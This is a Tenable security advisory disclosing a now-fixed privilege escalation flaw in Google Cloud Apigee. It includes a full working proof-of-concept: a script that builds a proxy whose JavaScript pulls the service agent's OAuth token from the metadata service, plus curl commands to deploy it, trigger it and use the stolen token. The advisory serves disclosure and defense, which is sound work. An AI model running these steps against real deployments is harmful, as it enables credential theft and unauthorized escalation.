Synopsis
Tenable Research has identified and responsibly disclosed a privilege escalation vulnerability in Google Cloud Apigee. This vulnerability allowed an attacker with restricted Apigee permissions to exfiltrate the OAuth access token of the privileged Apigee Core Service Agent.
The vulnerability stems from Apigee API Proxies' ability to execute custom JavaScript policy scripts that can access the underlying Instance Metadata Service (IMDS).
An attacker with basic proxy editor or environment admin roles (such as roles/apigee.editor or roles/apigee.environmentAdmin) could construct and deploy an API Proxy containing a malicious JavaScript resource. When triggered, the script queries the local IMDS (169.254.169.254) to fetch the default service account credentials running the runtime instance, specifically the Apigee Core Service Agent token.
By capturing this token, the attacker effectively escalates their privileges. The service agent possesses extensive, elevated permissions beyond typical proxy management, including full administrative access to API Hub resources, Cloud Trace, Cloud Logging, and Cloud Monitoring across the project.
Proof of Concept:
1. Create a malicious proxy bundle:
#!/bin/sh
mkdir -p exploit-bundle/apiproxy/proxies
mkdir -p exploit-bundle/apiproxy/policies
mkdir -p exploit-bundle/apiproxy/resources/js
cat > exploit-bundle/apiproxy/proxies/default.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<ProxyEndpoint name="default">
<PreFlow name="PreFlow">
<Request>
<Step>
<Name>Script-Exploit</Name>
</Step>
</Request>
<Response/>
</PreFlow>
<HTTPProxyConnection>
<BasePath>/exploit</BasePath>
</HTTPProxyConnection>
<RouteRule name="noroute"/>
</ProxyEndpoint>
EOF
cat > exploit-bundle/apiproxy/policies/Script-Exploit.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Script name="Script-Exploit">
<ResourceURL>js://exploit.js</ResourceURL>
</Script>
EOF
cat > exploit-bundle/apiproxy/resources/js/exploit.js << 'EOF'
var BufferedReader = java.io.BufferedReader;
var InputStreamReader = java.io.InputStreamReader;
function httpGet(urlStr, headers) {
var url = new java.net.URL(urlStr);
var conn = url.openConnection();
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
if (headers) {
for (var k in headers) {
conn.setRequestProperty(k, headers[k]);
}
}
var reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
var line, data = "";
while ((line = reader.readLine()) != null) { data += line + "\n"; }
reader.close();
return data;
}
var results = [];
// 1. Get service account email
try {
var email = httpGet(
"<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email>",
{"Metadata-Flavor": "Google"}
);
results.push("SA_EMAIL:" + email.trim());
} catch(e) { results.push("SA_EMAIL_ERR:" + e); }
// 2. Get access token
try {
var token = httpGet(
"<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token>",
{"Metadata-Flavor": "Google"}
);
results.push("SA_TOKEN:" + token.trim());
} catch(e) { results.push("SA_TOKEN_ERR:" + e); }
// 3. Get scopes
try {
var scopes = httpGet(
"<http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes>",
{"Metadata-Flavor": "Google"}
);
results.push("SA_SCOPES:" + scopes.trim());
} catch(e) { results.push("SA_SCOPES_ERR:" + e); }
// 4. Get project ID
try {
var project = httpGet(
"<http://169.254.169.254/computeMetadata/v1/project/project-id>",
{"Metadata-Flavor": "Google"}
);
results.push("PROJECT:" + project.trim());
} catch(e) { results.push("PROJECT_ERR:" + e); }
// 5. Get instance zone
try {
var zone = httpGet(
"<http://169.254.169.254/computeMetadata/v1/instance/zone>",
{"Metadata-Flavor": "Google"}
);
results.push("ZONE:" + zone.trim());
} catch(e) { results.push("ZONE_ERR:" + e); }
throw new Error("RESULTS:" + results.join(" ||| "));
EOF
cat > exploit-bundle/apiproxy/${API_NAME}.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<APIProxy name="exploit-v001">
<Description>Apigee PoC</Description>
<CreatedAt>1700000000000</CreatedAt>
<LastModifiedAt>1700000000000</LastModifiedAt>
</APIProxy>
EOF
cd exploit-bundle
zip -r ../exploit-v001.zip apiproxy/
cd ..2. Upload and deploy the malicious bundle to Apigee (change variables based on your environment)
export TOKEN=$(gcloud auth print-access-token)
export APIGEE_API="<https://apigee.googleapis.com/v1>"
export API_NAME="exploit-v001"
export ORG="<VICTIM_APIGEE_ORG>"
export ENV="<VICTIM_ENV>"
export APIGEE_HOST="<VICTIM_APIGEE_HOST>"
export INSTANCE_IP="<VICTIM_INSTANCE_IP>" # Only needed if DNS isn't set up
curl -X POST \
"${APIGEE_API}/organizations/${ORG}/apis?name=${API_NAME}&action=import" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/octet-stream" \
--data-binary @exploit-v001.zip
curl -X POST \
"${APIGEE_API}/organizations/${ORG}/environments/${ENV}/apis/${API_NAME}/revisions/1/deployments" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json"3. Wait for the proxy to deploy. You can check the UI or poll with:
curl -s "${APIGEE_API}/organizations/${ORG}/environments/${ENV}/apis/${API_NAME}/revisions/1/deployments" \
-H "Authorization: Bearer ${TOKEN}"4. Send a request to the malicious proxy, which will exfiltrate the Service Agent token
curl "<https://$>{APIGEE_HOST}/exploit"
# Or if DNS isn't set up
curl --resolve "${APIGEE_HOST}:443:${INSTANCE_IP}" "<https://$>{APIGEE_HOST}/exploit" --insecure5. Verify that the token is valid and has escalated permissions
export TOKEN="<EXFILTRATED_TOKEN>"
curl -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -X GET "<https://apihub.googleapis.com/v1/projects/><VICTIM_PROJECT>/locations/<LOCATION>/plugins"Solution
Google has fixed the issue.
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]
Tenable One
Request a demo
The world’s leading AI-powered exposure management platform.
Thank You
Thank you for your interest in Tenable One.
A representative will be in touch soon.
Form ID: 7469
Form Name: one-eval
Form Class: c-form form-panel__global-form c-form--mkto js-mkto-no-css js-form-hanging-label c-form--hide-comments
Form Wrapper ID: one-eval-form-wrapper
Confirmation Class: one-eval-confirmform-modal
Simulate Success